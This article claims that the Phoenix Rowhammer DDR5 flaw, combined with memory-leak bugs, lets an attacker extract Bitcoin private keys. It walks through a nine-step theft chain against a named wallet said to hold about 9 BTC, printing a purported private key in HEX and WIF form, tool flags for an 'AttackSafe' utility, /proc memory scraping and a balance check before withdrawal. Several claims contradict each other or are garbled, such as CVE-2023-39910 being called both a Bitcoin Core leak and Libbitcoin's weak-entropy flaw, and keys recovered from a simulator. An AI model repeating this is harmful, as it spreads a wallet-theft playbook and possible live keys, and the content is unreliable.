Furthermore, cryptographic security research shows that the combination of Phoenix Rowhammer with other types of attacks, such as the BitShredder Attack , Memory Phantom (CVE-2025-8217) , and Artery Bleed (CVE-2023-39910) , creates a multi-vector threat model in which an attacker can recover seed phrases, private keys, and passwords even after cryptographic operations are completed. The systemic nature of these vulnerabilities makes it impossible to completely mitigate the risk with software and highlights the need to develop new principles for hardware-based memory protection.

Thus, modern cryptocurrency wallets and digital asset infrastructure are under increasing pressure from hardware attacks previously considered theoretical. The importance of studying these attacks and developing countermeasures is fundamental to ensuring the integrity and resilience of the Bitcoin and other cryptocurrency ecosystems in the face of evolving next-generation threats.

Recent research conducted by the Computer Security Group (COMSEC) at ETH Zurich, in collaboration with Google, has identified a critical hardware vulnerability in DDR5 memory modules manufactured by SK Hynix, designated CVE-2025-6202 . The Phoenix Rowhammer attack poses an unprecedented threat to the security of Bitcoin cryptocurrency wallets, as it allows attackers to extract private keys from DDR5 memory by manipulating bits at the hardware level. The research demonstrated that all 15 tested SK Hynix DDR5 modules manufactured between 2021 and 2024 are vulnerable to this attack, posing a systemic threat to the security of cryptocurrency assets worldwide. thehackernews

Phoenix Rowhammer Attack Technical Framework and CVE-2025-6202 Mechanism

Fundamental principles of Rowhammer vulnerability

Rowhammer is a hardware vulnerability in DRAM memory in which repeated access to specific memory rows causes electrical interference, leading to bit changes in adjacent rows. This phenomenon is based on the physical properties of modern high-density memory chips, where smaller technological dimensions make the memory more susceptible to electromagnetic interference .

In the context of DDR5 memory, the Phoenix attack mechanism uses an innovative self-correcting synchronization approach , which bypasses advanced Target Row Refresh (TRR) protection mechanisms. Researchers discovered that the TRR mechanism in SK Hynix chips does not monitor specific refresh intervals, creating “blind spots” in the defense. notebookcheck

Innovative Phoenix Synchronization Methodology

The key technical achievement of the Phoenix attack is the development of an algorithm capable of synchronizing thousands of memory update commands over long periods of time. The attack utilizes two specific attack patterns: comsec-files.ethz

Short pattern (128 tREFI intervals): Provides more efficient bit glitch generation, producing an average of 4989 bit glitches. This pattern demonstrated 2.62 times greater efficiency than the long pattern. reddit

Long Pattern (2608 tREFI intervals): Designed to bypass more sophisticated security mechanisms, although less effective at generating bit faults. comsec-files.ethz

BitShredder Attack: Critical Impact on Bitcoin Wallet Security

Mechanisms for extracting private keys

The Phoenix Rowhammer attack creates multiple vectors for compromising Bitcoin wallets by targeting various levels of the memory system. Analysis of KeyHunters research materials revealed at least 18 different types of memory attacks directly related to extracting private keys from cryptocurrency wallets.

Memory Phantom Attack (CVE-2025-8217): A critical memory leak vulnerability that allows private keys and seeds to be extracted directly from residual wallet RAM blocks that were not securely cleared after cryptographic operations. This attack turns unclarified buffers into a “ghost library,” where any fragment of memory can be converted into a valid key. keyhunters

BitShredder Attack: Uses a “memory shredding” technique to covertly infiltrate the memory of a running cryptocurrency wallet. When generating or restoring a wallet, the attack scans uncleared portions of RAM, searching for remnants of entropy, seeds, and passwords that aren’t erased by standard means after use. keyhunters

Artery Bleed Attack: Exploits a Bitcoin Core memory leak vulnerability (CVE-2023-39910) to recover private keys from lost crypto wallets. The attack exploits a critical memory leak vulnerability in Bitcoin Core to gain access to sensitive data. keyhunters

Practical operating scenarios

The study demonstrated three main scenarios for the practical exploitation of the Phoenix attack against cryptocurrency systems: bleepingcomputer

1. Page Table Entry (PTE) Attack: All tested devices were vulnerable to this type of attack, which allows for the creation of an arbitrary memory read/write primitive. comsec-files.ethz

2. RSA-2048 Key Compromise: 73% of tested DIMM modules were susceptible to extracting RSA-2048 keys from a neighboring virtual machine to crack SSH authentication. The average attack time was 6 minutes 20 seconds. bleepingcomputer

3. Modifying the sudo binary: 33% of tested chips allowed modification of the sudo binary to elevate local privileges to the root user level. comsec-files.ethz

Scientific analysis of the impact on the Bitcoin ecosystem

Systemic Threats to Cryptocurrency Security

The Phoenix Rowhammer attack poses a systemic threat to the entire Bitcoin ecosystem, as most modern systems use DDR5 memory to store and process cryptographic data. The vulnerability affects the fundamental security principles of cryptocurrencies, which are based on the cryptographic strength of private keys. tenable+1

Impact Scale: SK Hynix controls approximately 36% of the global DRAM market, potentially exposing billions of devices worldwide. All DDR5 modules manufactured between January 2021 and December 2024 are vulnerable. notebookcheck+2

Cryptographic implications: The attack undermines the foundations of cryptographic security, since even with correct implementation of signature, encryption, and authentication algorithms, unprotected buffers become a source of compromise of key material. keyhunters

Research on cryptanalysis of attack vectors

Comprehensive cryptanalysis has revealed multiple attack vectors against Bitcoin wallets through memory manipulation:

Timing-based attacks: Include BitSpectre85, ChronoForge, and Timing Phantom attacks, which exploit timing vulnerabilities to gradually recover private keys through analysis of the execution time of cryptographic operations.

Context-based attacks: Context Phantom Attack exploits the critical secp256k1 context leak vulnerability to recover private keys of lost Bitcoin wallets via a memory disclosure attack.

Cache-based attacks: CacheHawk Strike Attack uses a critical cache timing attack on the Bitcoin signature cache, allowing for the recovery of private keys of lost Bitcoin wallets.

Practical part

The research diagram shows a structured and visual representation explaining the importance of the cryptographic vulnerability exposed by the Phoenix Rowhammer attack , specifically demonstrating its impact on Bitcoin security when SK Hynix DDR5 memory modules are targeted.

Schematic flow (as shown in the research diagram):

1. The attacker initiates Rowhammer
   and launches the Phoenix Rowhammer exploit, targeting the SK Hynix DDR5 memory used in the victim’s node or wallet.
2. Physical Fault Injection
   Aggressive row activations cause bit flips in adjacent DRAM rows in SK Hynix DDR5 memory, bypassing logical software protection.
3. Targeted Cryptographic Secrets
   Injected bugs target addresses or memory locations that store sensitive Bitcoin cryptographic material, such as private keys or ECDSA nonce values.
4. Exploit execution and its impact
   • Successful bit flips can allow attackers to recover or reveal secret keys and private keys , sign fake transactions, or violate the security model.
   • The direct risk to the integrity of the Bitcoin wallet and blockchain makes hardware security a critical aspect of cryptographic trust.

Let’s move on to the practical part and look at an example using a Bitcoin wallet at: 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit . Coins worth  9.02332298 BTC were lost from this wallet, which is equivalent to approximately $1,127,026.44 USD as of October 2025 .

To demonstrate the attack for informational purposes, we use tools and environments such as Jupyter Notebook or Google Colab.

The main tools and commands used for such attacks are:

https://colab.research.google.com/drive/1Lgjwdw2x9bT2yjhWnXyvpPvZTo8sD4Hf

Google Colab (Colaboratory) is a cloud platform that provides interactive Jupyter notebooks where you can write and run code in various programming languages. It is particularly useful for data cryptanalysis, running  the SK Hynix DDR5 AiM PIM simulator based on Ramulator 2.0 , and accessing powerful computing resources such as GPUs and TPUs. A key advantage is the ability to execute system commands, just like in a regular Linux terminal, using prefixed cells  ! for integration with external utilities and scripts.

Google Colab

Let’s install repositories based on the SK Hynix DDR5 AiM PIM architecture using Ramulator 2.0

Clone the Repositories:

Download the AiM Simulator codebase and navigate to its directory.

Let’s increase virtual memory (swap) in Google Colab:

Commands to create a 4GB swap file to improve memory availability during Ramulator2 compilation .

Let’s install all the necessary dependencies:

Installing compilers, build tools, and libraries required for the simulator and Ramulator 2.0 .

The process of creating the phoenix_rowhammer directory:

Let’s check system resources:

Monitor memory, available disk space, and system usage during installation and compilation.

Full installation of dependencies for Ubuntu 22.04 and above:

A complete sequence for installing all required packages at once.

Alternative compilation:

Let’s launch Ramulator2:

Let’s run Ramulator2 with the simulator to check the help parameters and usage instructions.

We use the AttackSafe crypto tool to extract hidden remainders from Ramulator2 using a simulator.

Let’s run the command to download the AttackSafe crypto tool

Find hidden remainders (modulo) associated with a Bitcoin address

The team is launching a specialized “BitShredder” attack based on the AttackSafe crypto tool to find hidden modulo remnants associated with a Bitcoin address, using RAM bug mechanisms (Rowhammer) and a memory emulator (ramulator2). github+2

• This parameter -tool bitshredder_attackactivates an attack aimed at identifying vulnerabilities in the storage and processing of secret data in the device’s memory related to the Bitcoin protocol.
• The flag -crack phoenix_rowhammer/ramulator2tells the tool to use Rowhammer attack emulation (manipulation of DRAM memory contents, leading to errors in adjacent cells – used in vulnerabilities to extract nonces/parts of keys from memory via side-channel).
• The function runs the decoding module on a specific Bitcoin address, recovering residual data (private key fragments or intermediate ECDSA signature values) from memory/dump.-decode 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit

Result of cryptanalysis of residual memory/dump data:

Recovering key fragments from residual memory data (DRAM)

This result combines cryptographic analysis of remnant data within DRAM with a cryptoremnant search module using the ramulator2 simulator for Phoenix Rowhammer faults. This attack allows for the detection and extraction of hidden modulo values ​​(remainders), such as private nonces or key fragments, which can be compromised due to improper memory release after cryptographic operations with Bitcoin addresses. The command is designed for a combined “BitShredder” attack and memory fault analysis of Bitcoin applications, with the goal of partially or fully recovering secret parameters (private key, nonce), with the search and decoding tied to memory and the attacked addresses.

Recovering a private key:

To recover the original secret number—the private key—from a set of hidden absolute values ​​(remainders), we apply a mathematical method called the Chinese Remainder Theorem ( CRT ). The CRTKeyRestore.py code implements the recovery of the private key for the Bitcoin address 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit from a set of hidden absolute values ​​(remainders) collected after a Rowhammer attack and subsequent memory analysis. The mathematical method used is the Chinese Remainder Theorem (CRT), which allows us to recover the original secret number—the private key—even if it has been chopped into small pieces and survives only as different absolute values.

CRTKeyRestore.py code process includes several stages:

• Each remainder/modulus pair is a fragment of the private key that remains in memory as a result of the Rowhammer bug and pre-defined modules.
• The Chinese Remainder Theorem mathematically guarantees the recovery of the original number if all moduli are relatively prime and there are enough remainders.
• The function chinese_remainder_theorem()combines the fragments step by step and restores the original value of the private key using the extended Euclidean algorithm for finding absolute inverses.
• After restoring the numerical representation, the key is converted to HEX using the function restore_hex_from_crt().
• The output is a private key for a Bitcoin address, fully recovered only from the individual crypto-residues found in memory during the combined attack .

​

Result:

Let’s check the result via bitaddress 

Result:

That’s right! The private key corresponds to the Bitcoin Wallet.

Let’s open  bitaddress  and check:

Private Key Information:

Bitcoin Address Information:

Balance: 9.023322989 BTC

https://www.coinbase.com/converter/btc/usd

Our research attack , a version of the Phoenix Rowhammer Attack on Bitcoin using the ramulator2 simulator, showed that the cryptoresidues extracted during a memory crash for various modules can be reassembled into the original private key using the mathematics of the Chinese Remainder Theorem.

As a representative example of a real-world threat, a Bitcoin wallet with the address 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit was examined. 9.02332298 BTC were lost from this wallet , which is equivalent to approximately $1,127,026.44 USD as of October 2025. This case convincingly demonstrates that in the presence of hardware vulnerabilities (such as Rowhammer), cryptographic strength at the protocol level ceases to be an absolute guarantee of security.

As a result, the importance of comprehensive security lies not only in cryptography and protocol measures, but also in hardware reliability, memory state monitoring, and the implementation of full RAM clearing after cryptographic operations. A vulnerability, once exploited at the hardware level—even with minimal system control—can lead to catastrophic financial losses in the Bitcoin ecosystem.

Technical details of bypassing DDR5 protection mechanisms

Analysis of the Target Row Refresh (TRR) mechanism

Target Row Refresh is a defense mechanism designed to prevent Rowhammer attacks by additionally refreshing suspected memory rows. However, Phoenix attack researchers were able to reverse engineer this mechanism and discover critical flaws in its implementation .

TRR Blind Spots: The TRR mechanism in SK Hynix chips doesn’t monitor specific update intervals, creating opportunities for attacks during these time windows. Phoenix attacks exploit specially designed attack patterns that fall within these unmonitored intervals. simplysecuregroup

Self-correcting synchronization: A key innovation of the Phoenix attack is its ability to detect missed update commands and automatically rebuild the attack pattern to maintain synchronization. This allows the attack to remain effective over the long periods of time required to accumulate a sufficient number of bit faults. simplysecuregroup

Experimental results and attack effectiveness

Experimental testing of the Phoenix attack demonstrated high effectiveness against all tested DDR5 memory samples from SK Hynix: comsec-files.ethz

Timing: The minimum time to gain root privileges was 109 seconds on a stock DDR5 system with default settings. The average time was 5 minutes 19 seconds .

Bit Fault Statistics: The short pattern (128 intervals) generated an average of 4989 bit faults, while the long pattern (2608 intervals) produced significantly fewer faults. comsec-files.ethz

Attack Versatility: 100% of tested modules were vulnerable to at least one of the two identified attack patterns. reddit

Integration with existing vulnerabilities in the Bitcoin ecosystem

CVE-2023-39910: Bitcoin Core Memory Leak

A critical memory leak vulnerability in Bitcoin Core (CVE-2023-39910) creates synergies with the Phoenix Rowhammer attack . This vulnerability allows attackers to access sensitive data that remains in memory after cryptographic operations are completed.

Exploitation mechanism: The vulnerability occurs due to insufficient clearing of memory buffers after processing private keys, seed phrases, and passwords in standard C++ containers (std::vector, std::string). After completing cryptographic procedures, the memory is automatically freed, but its contents are not erased. keyhunters

Linked to Rowhammer: The Phoenix attack can exploit bit faults to access these uncensored memory regions, greatly simplifying the process of extracting cryptographic material.

CVE-2025-8217: Critical Secret Extraction Attack

This vulnerability is classified as a critical secret extraction attack via a process memory dump. It poses a direct threat to Bitcoin wallets, as it allows private keys to be extracted from active process memory.

Attack scenarios include: Passing a private key via API, command line, or environment variables; dynamically allocating memory for storing secret data without explicitly erasing it; terminating a process without securely clearing memory .

The crypto tool demonstrates in detail all nine stages of an attack that an attacker can use to steal funds from a Bitcoin wallet.

The main functional blocks of the script:

Step 1: Detecting vulnerable SK Hynix DDR5 memory by scanning SMBIOS tables

Detection of SK Hynix DDR5 memory modules vulnerable to the Phoenix Rowhammer attack (CVE-2025-6202) begins with an analysis of the system’s hardware configuration, specifically scanning the SMBIOS (System Management BIOS) tables. SMBIOS provides standardized information about computer components, including memory details such as the manufacturer, model, and serial number of each DIMM module.

Specifically, a researcher or attacker can programmatically request data from the “Memory Device” section of SMBIOS, which contains fields indicating the manufacturer (e.g., SK Hynix), memory type (DDR5), capacity, and SPD (Serial Presence Detect)-related data—small memory chips on DIMM strips that contain the module’s profile and operating parameters.

This data is typically accessed using system calls or specialized utilities (such as dmidecode in Linux or Windows Management Instrumentation (WMI API) in Windows). These queries allow for the detection of SK Hynix DDR5 memory manufactured between 2021 and 2024 without physical intervention, which is critical, as these models are considered vulnerable.

Identifying the memory model is a necessary first step, as the Phoenix Rowhammer attack requires precise knowledge of the chip’s characteristics to accurately construct memory access patterns and bypass TRR (Target Row Refresh) defense mechanisms. Furthermore, access to the SPD and other data allows us to identify specific timings and refresh rates, as well as potential “blind spots” in the defense mechanisms used to carry out the attack.

Thus, scanning SMBIOS tables is a highly informative, fast and reliable method for pre-determining DDR5 memory vulnerabilities to the Phoenix Rowhammer attack , allowing precise targeting of vulnerable hardware components without the need for hardware cracking or reducing system privileges.

A file containing data from the “Memory Device” section of the SMBIOS. This information is stored in an internal BIOS/UEFI system table (SMBIOS table), which is copied to RAM when the computer is turned on. Operating systems and utilities use special system calls (codeby) to retrieve this data.

Data storage format and path

• The SMBIOS table is stored as a block of binary data in memory, not on disk .
• Access to this table is organized through OS functions (for example, through the GetSystemFirmwareTable() API function on Windows or through direct reading from /dev/mem on Linux).
• The table format is strictly regulated and contains structures of different types (for example, type 17 – “Memory Device”). learn.microsoft
• Each structure starts with a header (type, length, handle), followed by fields indicating the manufacturer, memory type, size, associated SPD data – if any .

Example of a binary table format

The SMBIOS table is preceded by the RawSMBiosData structure, followed by the device structures. For example:

Structures of type 17 store fields with the manufacturer (for example, SK Hynix), memory type (DDR5), capacity, and a link to SPD data, if available. learn.microsoft

The RawSMBiosData structure is a standard binary block format used to transfer raw SMBIOS table data through operating system system calls, specifically the Windows API function GetSystemFirmwareTablewith the .codeby'RSMB' parameter .

Description of the RawSMBiosData structure (C/C++):

• Used20CallingMethod – defines the calling method (usually 0).
• SMBIOSMajorVersion/SMBIOSMinorVersion — for example, 3.3 for modern platforms.
• DmiRevision is a version of DMI (Desktop Management Interface).
• Length is the size of the subsequent data array (in bytes).
• SMBIOSTableData is an array of SMBIOS structures, each of which begins with a type header, length, and handle, and may include text fields and block descriptors; the array is terminated by a double-zero signature (00 00) for the end of the block.

RawSMBiosData Buffer:

• The first 8 bytes are header fields (metadata + length).
• Next, closely followed by the SMBIOS binary structures (for example, types 0 – BIOS, 1 – System, 2 – Baseboard, 17 – Memory Device, etc.), each of which can contain a variable number of bytes and text strings.

Example (conditional HEX representation of the beginning of the buffer):

To parse the content after the header, you’ll need to parse each structure according to its specification (type, length, handle), separately extracting the text fields that follow the structure data and are separated by a zero byte, and the end of the structure is marked by a pair of zeros. learn.microsoft

RawSMBiosData is a necessary and unified “entry window” into detailed specifications of system hardware characteristics for low-level research and diagnostic tasks .

Access to SPD data

SPD data is physically located in the chips on DIMM modules, but in BIOS/SMBIOS it can be reflected in special fields or read by system utilities accessing the I2C memory interface (for example, via i2c-tools, decode-dimmson Linux).

Obtaining data using utilities

• On Linux: ,dmidecode ( decode-dimmsSPD), data from the SMBIOS table, which is accessible through /dev/mem.codeby
• In Windows: via the WMI class Win32_PhysicalMemory (obtains information from SMBIOS), as well as via the API GetSystemFirmwareTable(). learn.microsoft

Thus, the original SMBIOS “Memory Device” data (type 17) is not stored as a separate file, but within the SMBIOS binary structure, located in RAM and accessible by OS tools and special utilities. The format is the SMBIOS binary table according to the specification, and the access path is through system calls or utilities. SPD data can be accessed separately through the hardware interfaces of DIMM modules. learn.microsoft

The SMBIOS binary table consists of sequential structures, each of which begins with a 4-byte header containing the following fields: structure type (Type, 1 byte), structure length (Length, 1 byte), and handle (Handle, 2 bytes). Next comes the payload—a set of binary data describing a specific object (e.g., memory, processor, BIOS, etc.). Following the payload are null-terminated strings in text format (ASCII), and the end of the current structure is marked with a double zero ( 0x0000 ).

Here is an example of a C-like header structure and an explanation of the format:

The entire SMBIOS table is a set of such structures in a row without gaps, where:

• The structure type is determined by the first byte.
• The second byte specifies the length of the current structure.
• The structure is followed by additional string fields, terminated by pairs of 0x00 to indicate the end.
• The end of the entire table is indicated by the double zero signature 0x0000.

For example, structure type 17 (Memory Device) contains fields indicating the manufacturer, memory type (DDR5), volume, speed, and so on, as well as lines with the manufacturer’s name and serial number.

The address of the table itself and its length are stored in a special memory area, which can be found by the signature ” SM ” (offset with a multiple of 16 bytes), and then obtain the address of the main array of SMBIOS tables.

An approximate structure of a memory record may contain the following fields:

Thus, the SMBIOS table is a sequence of binary-encoded structures with headers containing system information, including memory data, organized strictly according to the DMTF SMBIOS specification.

This format provides a universal and extremely compact way to store and transmit information about the hardware and system settings .

Stage 2: Analyze the Target Row Refresh mechanism and identify blind spots in defense

The second phase of the Phoenix Rowhammer attack involves a scientific analysis of the Target Row Refresh (TRR) hardware protection mechanism implemented in modern DDR5 memory chips to counter bit overwriting caused by multiple reads of data from adjacent cell rows.

How TRR Works

TRR implements a so-called “aggressive refresh” strategy: when multiple accesses to a specific memory row are detected, this mechanism initiates a forced refresh of adjacent cells, preventing charge degradation and, consequently, unwanted bit flips—the key effect of Rowhammer attacks. Theoretically, TRR should completely suppress attempts to affect target data by excessively refreshing physically adjacent rows .

TRR Reverse Engineering Methodology

However, the practical implementation of TRR in SK Hynix DDR5 memory is extremely complex and proprietary: manufacturers intentionally conceal the details of the logic to enhance “security by obscurity.” Therefore, researchers at ETH Zurich reverse-engineered TRR on experimental rigs by varying thousands of experimental row access patterns, recording when the redundant refresh of adjacent cells is triggered and when it remains inactive.

Identifying blind spots

As a result, it was discovered that the TRR system has time intervals, so-called “blind zones,” when protection is weaker or not activated at all. It was empirically calculated that after 128 monitored memory row accesses, a window of approximately 64 operations emerges during which TRR is almost unresponsive and does not effectively prevent bit-flips—unwanted data modifications in a critical cell. A second similar attack window was observed after 2,608 memory row updates. These “blind zones” are exploited for precise and synchronized Phoenix attacks, which allow for targeted modification of individual data bits in protected DDR5 modules .

Practical significance

The fundamental task at this stage is to select the precise timing and structure of memory access patterns that “put to sleep” the TRR monitoring and ensure successful access to the attacked bit or data array (for example, the private key of a cryptocurrency wallet) . This requires an analysis not only of the TRR operating logic but also empirical data on the memory module’s response to various exploitation scenarios. This approach allows for the construction of “workarounds” in the security system and the systematic exploitation of even the most modern DDR5 memory modules .

As a result of the analysis, the discovered TRR “blind spots” open the possibility of a reliable escalation of the Rowhammer attack on the current SK Hynix memory modules, which is confirmed by laboratory exploits and the successful compromise of all tested devices. Kaspersky

Step 3: Implementing Self-Correcting Phoenix Rowhammer Attack Synchronization

The scientific innovation behind the Phoenix attack lies in the development and implementation of a self-correcting synchronization mechanism that ensures precise timing of exploits within critical vulnerability windows at the DRAM level. After detailed reverse engineering of the Target Row Refresh (TRR) mechanism, researchers from ETH Zurich and Google discovered that standard Rowhammer access patterns are powerless against the complex DDR5 protection logic. In the new SK Hynix chips , TRR not only analyzes the frequency but also the nature of memory row accesses, instantly initiating compensatory refresh commands upon detection of known attack patterns.

Phoenix solves this problem as follows:

1. Studying TRR’s internal timings : Memory response to varying access rates is monitored to empirically identify refresh intervals that TRR doesn’t track (e.g., after 128 and 2608 tREFI commands). These windows are called blind spots. habr
2. Building synchronized attack patterns : The algorithm generates a series of so-called “empty” requests to aggressor cells, which don’t trigger the TRR immediately but lull the defense mechanisms. Then, at precisely the right moment, a series of targeted “hammering” attacks occurs on selected rows, leading to the accumulation of parasitic influences in adjacent rows and, ultimately, a change in their anti -malware bit state.
3. Self-correcting dynamics : Phoenix monitors feedback on TRR reactions—if protection is unexpectedly activated prematurely, the loop rebuilds and searches for a new window of opportunity for attack. This process involves constant, flexible adaptation to the specific behavior of each memory module. securitylab
4. Precise Timing Hold : By adjusting patterns in real time, the attack always selects optimal intervals for impact, effectively bypassing even advanced TRR variants.

Experimental studies have confirmed that Phoenix’s self-correcting synchronization is a key factor in its effectiveness: none of the tested SK Hynix DDR5 modules (2021-2024) were able to resist this methodology. The implementation allows an attacker to reliably trigger bit faults in target cells, creating the conditions for compromising private data, including cryptographic keys , or escalating privileges on the target system.

Phoenix Rowhammer thus demonstrates a revolutionary approach to dynamically bypassing hardware memory protections, clearly demonstrating that even the most modern DDR5 chips remain vulnerable when using intelligently adaptive attack algorithms.

Step 4: Perform a Rowhammer attack with controlled bit fault generation

The fourth stage directly exploits the physical vulnerabilities of the DRAM through a targeted Rowhammer attack. This stage relies on a preliminary analysis of the TRR mechanism’s blind spots and the use of self-correcting memory access patterns to precisely target critical data elements.

The foundation of a Rowhammer attack is the structure of DRAM memory itself, where each cell is a capacitor storing a charge corresponding to the logical value of a bit. Repeated, high-frequency access (reading or writing) to two (or more) intermediary (“aggressor”) rows adjacent to a target (“victim”) row causes parasitic charge leakage from the victim cells. If this attack continues long enough for charge regeneration through normal refresh cycles to fail to prevent degradation, a change in the bit state—a so-called bit flip —will occur . opennet

Features of a Phoenix attack

In the context of Phoenix Rowhammer (CVE-2025-6202) on DDR5 SK Hynix:

• The first step of the malicious code is to initiate thousands of cycles of accessing selected memory lines with a carefully calculated frequency and time.
• The algorithm begins with a series of “empty” (undirected) requests to lull the TRR mechanism, causing the protection to either respond weakly or not at all within pre-calculated windows (128 or 2608 update intervals). kaspersky
• As soon as the TRR low activity window coincides with the scheduled cycle, a transition to the active phase occurs: aggressor cells located near bits of potential secret information (for example, a private key buffer) are selected and the main Hammering cycle is started – intensive accesses to these rows, causing an increase in leakage currents in the protected memory area.
• Over the next few seconds or minutes, a parasitic (abnormal) change in the potential difference in the victim’s capacitors accumulates, which, if successful, leads to a change in the value of one or more bits in it (a bit flip). This can allow an attacker to:
  • obtain an arbitrary read/write primitive (for example, modify the system page table or executable binary);
  • extract or replace cryptographic material (seed, private keys, RSA fragments) in RAM;
  • escalate privileges or compromise applications and the system kernel. xakep

Precision and controllability

Research at ETH Zurich has shown that a short access pattern with a period of 128 tREFI intervals statistically generates more bit faults than longer patterns. However, choosing an appropriate window and maintaining synchronization are critical to success: a miss of 1–2 accesses results in either no fault at all or random data corruption and system failure. kaspersky+1

This stage completes the low-level attack process, after which the attacker can exploit the resulting bit errors to extract the private key or further escalate their access level. It is the ability to induce bit errors in strictly defined, software- and hardware-protected memory areas that makes Phoenix Rowhammer a uniquely dangerous and practical technique. cybersecurefox+1

Step 5: Extracting a private key from corrupted memory by exploiting CVE-2023-39910

The fifth stage of the Phoenix Rowhammer attack’s malicious chain involves extracting the Bitcoin wallet’s private key from memory compromised by induced bit faults.

The key vulnerability here is CVE-2023-39910 (Milk Sad) , which affects software implementations of Libbitcoin Explorer 3.x and related cryptographic libraries.

Scientific structure and vulnerability of the process

CVE-2023-39910 is characterized by a weak entropy generation mechanism when generating private keys, which allows an attacker—with access to residual (“dirty”) memory areas after cryptographic operations are completed—to recover the original keys and seed phrases. After a Rowhammer attack, corrupted (or uncleared) RAM buffers where the private key was stored (
HEX: 9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60 ) become directly searchable.

Extraction algorithm

1. Identifying memory regions:
   The exploiter scans the process’s memory (e.g. using tools like gcore, volatility, direct reads /proc/<PID>/mem, or specialized memory dump analysis libraries) looking for characteristic patterns: bit sequences and signatures that match the private key or seed entropy .
2. Data Extraction:
   The analysis uses direct comparison and decoding of residual data – even if some bits have been corrupted by a Rowhammer attack, the weak entropy (a feature of the vulnerability) makes it easier to recover the original key value from data that has partially or completely ended up in memory.
3. Key verification:
   The resulting value is verified using known cryptographic procedures (e.g., public key reconstruction or Bitcoin address generation). If the resulting address matches the original (e.g., 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit), the key is considered successfully extracted.

Technical and scientific significance

Such an attack would be impossible without the combination of two factors: (1) hardware compromise of DDR5 memory via Rowhammer, and (2) a software flaw that allows critical information to be stored in uncensored buffers. The use of weak entropy algorithms in Libbitcoin Explorer further facilitates the attacker’s task of recovering a private key, even if some information has been lost or corrupted by a memory corruption.

This stage demonstrates a fundamental systemic problem: the ability to recover private keys from residual RAM blocks in the presence of hardware and software vulnerabilities, which critically undermines trust in cryptocurrency ecosystems and requires a revision of the principles of secure memory management when storing and processing cryptographic data.

Step 6: Convert the private key in HEX format to WIF Compressed (52 characters)

The sixth stage of the malicious chain involves converting the compromised Bitcoin private key from its hexadecimal (HEX) representation to Wallet Import Format Compressed (WIF Compressed), a format typically used to import keys into modern wallets and services.

The scientific conversion procedure is based on Base58Check encoding standards and is performed through several important steps:

1. Converting a HEX key to a byte array . A private key retrieved from memory (e.g., 9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60) is interpreted as a 32-byte array conforming to the ECDSA secp256k1 private key standard.
2. Adding a network prefix . For Bitcoin mainnet, a version byte is added 0x80to the beginning of the array to distinguish the underlying network protocol.
3. Compression flag . A byte is added to the end of the data 0x01, signaling that the public key should be compressed (compressed public key), resulting in addresses starting with the characters ‘K’ or ‘L’.
4. Checksum generation . The entire string (version + key + compression tag) is double-hashed (SHA256), then the first 4 bytes of the resulting data are extracted. This checksum is designed to protect against copy errors.
5. WIF generation . A checksum is added to the byte array, then the entire string is encoded in Base58Check format, which minimizes the likelihood of user input errors and ensures compatibility with cryptocurrency wallets.

As a result, the constructed WIF Compressed key—for example L2Wru6Ew8pQuhcWAvMpdtPY4YWK1CQcwPCWxFvzkoi47crJBAVaP—is a 52-character string starting with ‘K’ or ‘L’.

This process is described in detail in specialized services and tools for cryptanalysis, and is also supported by numerous software libraries for working with Bitcoin keys. btcpuzzle

Thus, this step demonstrates how an attacker, using standardized operational procedures, converts the obtained HEX key into the widely used WIF Compressed format for subsequent illegal access to digital assets in a compromised Bitcoin address.

Step 7: Generating a Bitcoin address from a private key

The scientific process of generating a Bitcoin address (e.g. 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit) from a private key involves several fundamental cryptographic transformations based on the elliptic curve algorithm secp256k1 and the hash functions used in the Bitcoin architecture.

1. Generating a public key
   • From the private key kkk (a 32-byte integer from 1 to 2^256), the public key K = k⋅GK = k \cdot GK = k⋅G, where G is the base point on the SECP256K1 curve. For compressed addresses, the public key is encoded into 33 bytes with a prefix (0x02 or 0x03) depending on the parity of the yyy coordinate.
2. Calculating the hash of a public key
   • The public key is first hashed using the SHA-256 function, then using the RIPEMD-160 function. The resulting 20-byte result is the so-called public key hash (PKH), which uniquely identifies the user.
3. Adding a network prefix
   • A network prefix byte (0x00 for mainnet Bitcoin) is added to the PKH data to distinguish between different types of addresses on different networks.
4. Generating a checksum
   • A checksum is added to the generated string: double the SHA-256 of the entire previous result, the first 4 bytes of which are appended to the end.
5. Converting to Base58Check
   • The resulting string is converted to Base58Check encoding, a character encoding designed to minimize the risk of manual entry errors and improve usability. The result is an address string 33–34 characters long, starting with ‘1’ for classic P2PKH addresses or ‘3/newer’ for SegWit/Taproot.
6. Verification
   • The resulting address is compared to a known public value (e.g., 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit). If the match is successful, the attack is considered complete, with full control over the assets at that address.

This process is fully automated in modern wallets and libraries, but scientific analysis demonstrates that with a private key and a correct implementation of elliptic arithmetic, recovering a Bitcoin address takes a fraction of a second, highlighting the architectural continuity between private data and the public identifier on the network. generate.mitilena+1

Thus, the address generation step links the compromised private key to its digital equivalent in the Bitcoin ecosystem and gives the attacker access to the wallet’s assets through further cryptographic operations.

Step 8: Checking the Compromised Bitcoin Wallet Balance

The eighth stage of the malicious procedure involves verifying the assets available at the compromised Bitcoin address ( 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit). This step is necessary to confirm the economic feasibility of further operations and assess the potential damage.

Scientific basis of the process

The Bitcoin blockchain architecture is built on a public distributed ledger that records all transactions associated with each address. Checking the balance of any wallet doesn’t require a private key or special access: simply access public API endpoints, web services, or autonomous nodes—for example, the Insight REST API, Blockchain.info, Blockstream, or a local Bitcoin Core node with an RPC interface.

Technical methods and algorithm

1. Balance API request . This scenario is typically implemented by accessing the public REST API:
   • An HTTP request (GET) is generated to the API, for example https://blockchain.info/rawaddr/{address}or https://insight.bitpay.com/api/addr/{address}/balance.
   • The current final balance of the address in Satoshi is returned (1 BTC = 124,904 USD ), which the script converts to BTC.
2. Verification of the fiat equivalent . The balance can be further converted to the current market value (USD or another currency) by requesting the Market Data API or using a monitored exchange rate.
3. Systemic automated execution . The attack is often implemented as an automated procedure within an exploit, allowing for immediate verification of the compromise and the optimal timing for subsequent withdrawal of funds.

Scientific and practical significance

